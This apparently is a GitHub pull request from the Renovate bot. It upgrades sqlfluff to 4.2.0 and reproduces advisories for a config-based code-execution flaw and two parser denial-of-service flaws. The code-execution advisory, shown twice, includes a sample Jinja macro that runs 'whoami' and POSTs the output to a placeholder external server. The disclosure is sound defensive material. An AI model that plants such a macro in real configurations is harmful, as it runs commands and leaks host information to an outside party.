Skip to content

fix(security/unknown/): update dependency sqlfluff to v4 [security] - #47

Open
renovate-sh-app[bot] wants to merge 1 commit into
mainfrom
renovate/major-security-sqlfluff
Open

fix(security/unknown/): update dependency sqlfluff to v4 [security]#47
renovate-sh-app[bot] wants to merge 1 commit into
mainfrom
renovate/major-security-sqlfluff

Conversation

@renovate-sh-app

@renovate-sh-app renovate-sh-app Bot commented Jun 3, 2026

Copy link
Copy Markdown

This PR contains the following updates:

Package Change Age Confidence
sqlfluff (changelog) ==1.4.2==4.2.0 age confidence

SQLFluff users with access to config file, using libary_path may call arbitrary python code

CVE-2023-36830 / GHSA-jqhc-m2j3-fjrx

More information

Details

Impact

In environments where untrusted users have access to the config files (e.g. .sqlfluff), there is a potential security vulnerability where those users could use the library_path config value to allow arbitrary python code to be executed via macros. Jinja macros are executed within a sandboxed environment but the following example shows how an external url might be called and used to reveal internal information to an external listener:

[sqlfluff:templater:jinja]
library_path = /usr/lib/python3.9/http

[sqlfluff:templater:jinja:macros]
a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}}

For many users who use SQLFluff in the context of an environment where all users already have fairly escalated privileges, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on rule configuration, this may be an issue.

Patches

The 2.1.2 release offers the ability for the library_path argument to be overwritten on the command line by using the --library-path option. This overrides any values provided in the config files and effectively prevents this route of attack for users which have access to the config file, but not to the scripts which call the SQLFluff CLI directly. A similar option is provided for the Python API, where users also have a greater ability to further customise or override configuration as necessary.

Unless library_path is explicitly required, we recommend using the option --library-path none when invoking SQLFluff which will disable the library-path option entirely regardless of the options set in the configuration file or via inline config directives.

Workarounds

Limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provide a similar effect and does not require upgrade.

Credit

Dan Amodio from the Tinder Red Team

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


SQLFluff: Recursive Stack Overflow in Parser

CVE-2026-46373 / GHSA-wmhf-fqc8-vxhh

More information

Details

Impact

In deployments where untrusted users can provide SQL queries to be linted, an untrusted user can submit a malicious query with deliberate excessive nesting to any application using the parser to trigger a Denial of Service through resource exhaustion.

Patches

Versions 4.1.0 and up contain a configurable recursion limit, which is enabled by default, to prevent this manner of exploit.

Credit

Ori Nakar from Imperva Threat Research Team.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


SQLFluff: Uncontrolled Resource Consumption in SQLFluff Parser

CVE-2026-46374 / GHSA-73jc-5mrq-prw7

More information

Details

Impact

In deployments where untrusted users can provide SQL queries to be linted, an untrusted user can submit a malicious long query to any application using the parser to trigger a Denial of Service through resource exhaustion.

Patches

Versions 4.2.0 and up contain a configurable parse node limit, which is enabled by default, to prevent this manner of exploit.

Credit

Ori Nakar from Imperva Threat Research Team.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


SQLFluff users with access to config file, using libary_path may call arbitrary python code

CVE-2023-36830 / GHSA-jqhc-m2j3-fjrx / PYSEC-2023-111

More information

Details

Impact

In environments where untrusted users have access to the config files (e.g. .sqlfluff), there is a potential security vulnerability where those users could use the library_path config value to allow arbitrary python code to be executed via macros. Jinja macros are executed within a sandboxed environment but the following example shows how an external url might be called and used to reveal internal information to an external listener:

[sqlfluff:templater:jinja]
library_path = /usr/lib/python3.9/http

[sqlfluff:templater:jinja:macros]
a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}}

For many users who use SQLFluff in the context of an environment where all users already have fairly escalated privileges, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on rule configuration, this may be an issue.

Patches

The 2.1.2 release offers the ability for the library_path argument to be overwritten on the command line by using the --library-path option. This overrides any values provided in the config files and effectively prevents this route of attack for users which have access to the config file, but not to the scripts which call the SQLFluff CLI directly. A similar option is provided for the Python API, where users also have a greater ability to further customise or override configuration as necessary.

Unless library_path is explicitly required, we recommend using the option --library-path none when invoking SQLFluff which will disable the library-path option entirely regardless of the options set in the configuration file or via inline config directives.

Workarounds

Limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provide a similar effect and does not require upgrade.

Credit

Dan Amodio from the Tinder Red Team

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2023-36830 / GHSA-jqhc-m2j3-fjrx / PYSEC-2023-111

More information

Details

SQLFluff is a SQL linter. Prior to version 2.1.2, in environments where untrusted users have access to the config files, there is a potential security vulnerability where those users could use the library_path config value to allow arbitrary python code to be executed via macros. For many users who use SQLFluff in the context of an environment where all users already have fairly escalated privileges, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on rule configuration, this may be an issue.

The 2.1.2 release offers the ability for the library_path argument to be overwritten on the command line by using the --library-path option. This overrides any values provided in the config files and effectively prevents this route of attack for users which have access to the config file, but not to the scripts which call the SQLFluff CLI directly. A similar option is provided for the Python API, where users also have a greater ability to further customise or override configuration as necessary. Unless library_path is explicitly required, SQLFluff maintainers recommend using the option --library-path none when invoking SQLFluff which will disable the library-path option entirely regardless of the options set in the configuration file or via inline config directives. As a workaround, limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provides a similar effect and does not require upgrade.

Severity

Unknown

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


SQLFluff: Recursive Stack Overflow in Parser

CVE-2026-46373 / GHSA-wmhf-fqc8-vxhh / PYSEC-2026-209

More information

Details

Impact

In deployments where untrusted users can provide SQL queries to be linted, an untrusted user can submit a malicious query with deliberate excessive nesting to any application using the parser to trigger a Denial of Service through resource exhaustion.

Patches

Versions 4.1.0 and up contain a configurable recursion limit, which is enabled by default, to prevent this manner of exploit.

Credit

Ori Nakar from Imperva Threat Research Team.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-46373 / GHSA-wmhf-fqc8-vxhh / PYSEC-2026-209

More information

Details

SQLFluff is a modular SQL linter and auto-formatter with support for multiple dialects and templated code. Prior to version 4.1.0, in deployments where untrusted users can provide SQL queries to be linted, an untrusted user can submit a malicious query with deliberate excessive nesting to any application using the parser to trigger a Denial of Service through resource exhaustion. This issue has been patched in version 4.1.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


SQLFluff: Uncontrolled Resource Consumption in SQLFluff Parser

CVE-2026-46374 / GHSA-73jc-5mrq-prw7 / PYSEC-2026-210

More information

Details

Impact

In deployments where untrusted users can provide SQL queries to be linted, an untrusted user can submit a malicious long query to any application using the parser to trigger a Denial of Service through resource exhaustion.

Patches

Versions 4.2.0 and up contain a configurable parse node limit, which is enabled by default, to prevent this manner of exploit.

Credit

Ori Nakar from Imperva Threat Research Team.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-46374 / GHSA-73jc-5mrq-prw7 / PYSEC-2026-210

More information

Details

SQLFluff is a modular SQL linter and auto-formatter with support for multiple dialects and templated code. Prior to version 4.2.0, in deployments where untrusted users can provide SQL queries to be linted, an untrusted user can submit a malicious long query to any application using the parser to trigger a Denial of Service through resource exhaustion. This issue has been patched in version 4.2.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Release Notes

sqlfluff/sqlfluff (sqlfluff)

v4.2.0

Compare Source

v4.1.0

Compare Source

v4.0.4

Compare Source

v4.0.3

Compare Source

Release 4.0.2 & 4.0.3 due to deploy issues with 4.0.1

v4.0.1.post1: [4.0.1.post1] - 2026-02-08

Compare Source

Highlights

This is a post release of 4.0.1 to fix issues in the package publish pipeline.

What’s Changed

v4.0.0

Compare Source

v3.5.0

Compare Source

v3.4.2

Compare Source

v3.4.1

Compare Source

v3.4.0

Compare Source

v3.3.1

Compare Source

v3.3.0

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

v3.2.3

Compare Source

v3.2.2

Compare Source

v3.2.1

Compare Source

v3.2.0

Compare Source

v3.1.1

Compare Source

v3.1.0

Compare Source

v3.0.7

Compare Source

v3.0.6

Compare Source

v3.0.5

Compare Source

v3.0.4

Compare Source

v3.0.3

Compare Source

v3.0.2

Compare Source

v3.0.1

Compare Source

v3.0.0

Compare Source

v2.3.5

Compare Source

v2.3.4

Compare Source

v2.3.3

Compare Source

v2.3.2

Compare Source

v2.3.1

Compare Source

v2.3.0

Compare Source

v2.2.1

Compare Source

v2.2.0

Compare Source

v2.1.4

Compare Source

v2.1.3

Compare Source

v2.1.2

Compare Source

v2.1.1

Compare Source

v2.1.0

Compare Source

v2.0.7

Compare Source

v2.0.6

Compare Source

v2.0.5

Compare Source

v2.0.4

Compare Source

v2.0.3

Compare Source

v2.0.2

Compare Source

v2.0.1

Compare Source

v2.0.0

Compare Source

v1.4.5

Compare Source

v1.4.4

Compare Source

v1.4.3

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

Need help?

You can ask for more help in the following Slack channel: #proj-renovate-self-hosted. In that channel you can also find ADR and FAQ docs in the Resources section.

@cla-assistant

cla-assistant Bot commented Jun 3, 2026

Copy link
Copy Markdown

CLA assistant check
All committers have signed the CLA.

@renovate-sh-app renovate-sh-app Bot changed the title fix(security/unknown/): update dependency sqlfluff to v4 [security] fix(security/unknown/): update dependency sqlfluff to v4 [security] - autoclosed Jun 3, 2026
@renovate-sh-app renovate-sh-app Bot closed this Jun 3, 2026
@renovate-sh-app
renovate-sh-app Bot deleted the renovate/major-security-sqlfluff branch June 3, 2026 16:04
| datasource | package  | from  | to    |
| ---------- | -------- | ----- | ----- |
| pypi       | sqlfluff | 1.4.2 | 4.2.0 |


Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
@renovate-sh-app renovate-sh-app Bot changed the title fix(security/unknown/): update dependency sqlfluff to v4 [security] - autoclosed fix(security/unknown/): update dependency sqlfluff to v4 [security] Jun 4, 2026
@renovate-sh-app renovate-sh-app Bot reopened this Jun 4, 2026
@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/major-security-sqlfluff branch from b78210d to 584a8da Compare June 4, 2026 16:05
@renovate-sh-app renovate-sh-app Bot changed the title fix(security/unknown/): update dependency sqlfluff to v4 [security] fix(security/unknown/): update security sqlfluff to v4 [security] Jun 10, 2026
@renovate-sh-app renovate-sh-app Bot changed the title fix(security/unknown/): update security sqlfluff to v4 [security] fix(security/unknown/): update dependency sqlfluff to v4 [security] Jun 29, 2026
@renovate-sh-app renovate-sh-app Bot changed the title fix(security/unknown/): update dependency sqlfluff to v4 [security] fix(security/high/): update dependency sqlfluff to v4 [security] Jul 19, 2026
@renovate-sh-app renovate-sh-app Bot changed the title fix(security/high/): update dependency sqlfluff to v4 [security] fix(security/unknown/): update dependency sqlfluff to v4 [security] Jul 19, 2026
@renovate-sh-app renovate-sh-app Bot changed the title fix(security/unknown/): update dependency sqlfluff to v4 [security] fix(security/high/): update dependency sqlfluff to v4 [security] Jul 20, 2026
@renovate-sh-app renovate-sh-app Bot changed the title fix(security/high/): update dependency sqlfluff to v4 [security] fix(security/unknown/): update dependency sqlfluff to v4 [security] Jul 20, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants